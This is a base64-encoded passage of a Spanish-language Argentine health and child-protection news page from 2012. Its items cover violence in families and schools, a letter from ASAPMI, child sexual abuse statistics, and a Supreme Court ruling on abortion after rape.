1pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQxJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhbHVkIEFjdGl2YSBuZWNlc2l0YSBkZSB0dSBheXVkYSEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjklIiBiZ2NvbG9yPSIjRUZFRkVGIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMyUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MTA0IiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQ1JSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xMDQiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGxhbWFkbyBwYXJhIHByZXNlbnRhY2nzbiBkZSB0cmFiYWpvcy4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJ0ZXh0b251ZXZvIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgY2xhc3M9ImJvdG9uIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4mbmJzcDs8L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBJTklDSU8gbm90YSBjb211biAtLT4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTUvMDQvMjAxMjwvc3Bhbj48YnI+T3JnYW5pemFuIGpvcm5hZGEgc29icmUgdmlvbGVuY2lhPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPlNlIGNlbnRyYXImYWFjdXRlOyBlbiBsb3MgZmVuJm9hY3V0ZTttZW5vcyBxdWUgYWZlY3RhbiBhIGxhIGZhbWlsaWEgeSBlbiBsbyBxdWUgb2N1cnJlIGVuIGxhcyBlc2N1ZWxhcy48YnIgLz4gU2UgbGxldmFyJmFhY3V0ZTsgYSBjYWJvIGVsIGx1bmVzIDIzLCBlbiBlbCBDZW50cm8gQ3VsdHVyYWwgZGUgVG9zY2hpIHkgVHJlcyANCkFycm95b3MsIHVuYSBqb3JuYWRhIGRlIHJlZmxleGkmb2FjdXRlO24geSBkZWJhdGUgYWJpZXJ0YSBhIGxhIGNvbXVuaWRhZCBzb2JyZSANCiZsZHF1bztWaW9sZW5jaWEgZW4gbGEgZmFtaWxpYSB5IGVuIGxhIGVzY3VlbGEgeSBzdSByZWxhY2kmb2FjdXRlO24gY29uIGVsIGZyYWNhc28gDQplc2NvbGFyJnJkcXVvOywgb3JnYW5pemFkYSBwb3IgbGEgQXNvY2lhY2kmb2FjdXRlO24gQ2l2aWwgQ2VudHJvIEFydCZlYWN1dGU7bWlkZXMgeSBsYSANCk11bmljaXBhbGlkYWQgZGUgQ2lwb2xsZXR0aS5TZSBjZW50cmFyJmFhY3V0ZTsgZW4gbG9zIGZlbiZvYWN1dGU7bWVub3MgcXVlIGFmZWN0YW4gYSBsYSBmYW1pbGlhIHkgZW4gbG8gcXVlIG9jdXJyZSBlbiBsYXMgZXNjdWVsYXMuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBtZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIxNDcsNCwyMjAsMzYiIGhyZWY9ImluZGV4LnBocD9pZD0xNGEiIC8+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcDMiIGlkPSJNYXAzIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcmRzPSIzNjMsMyw0MzYsMzkiIGhyZWY9ImluZGV4LnBocD9pZD0xNGIiIC8+CjwvbWFwPgo8L2h0bWw+CjwvdGQ+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gICAgICAgICAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFM0UzRTMiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSI3MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNiUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3Rk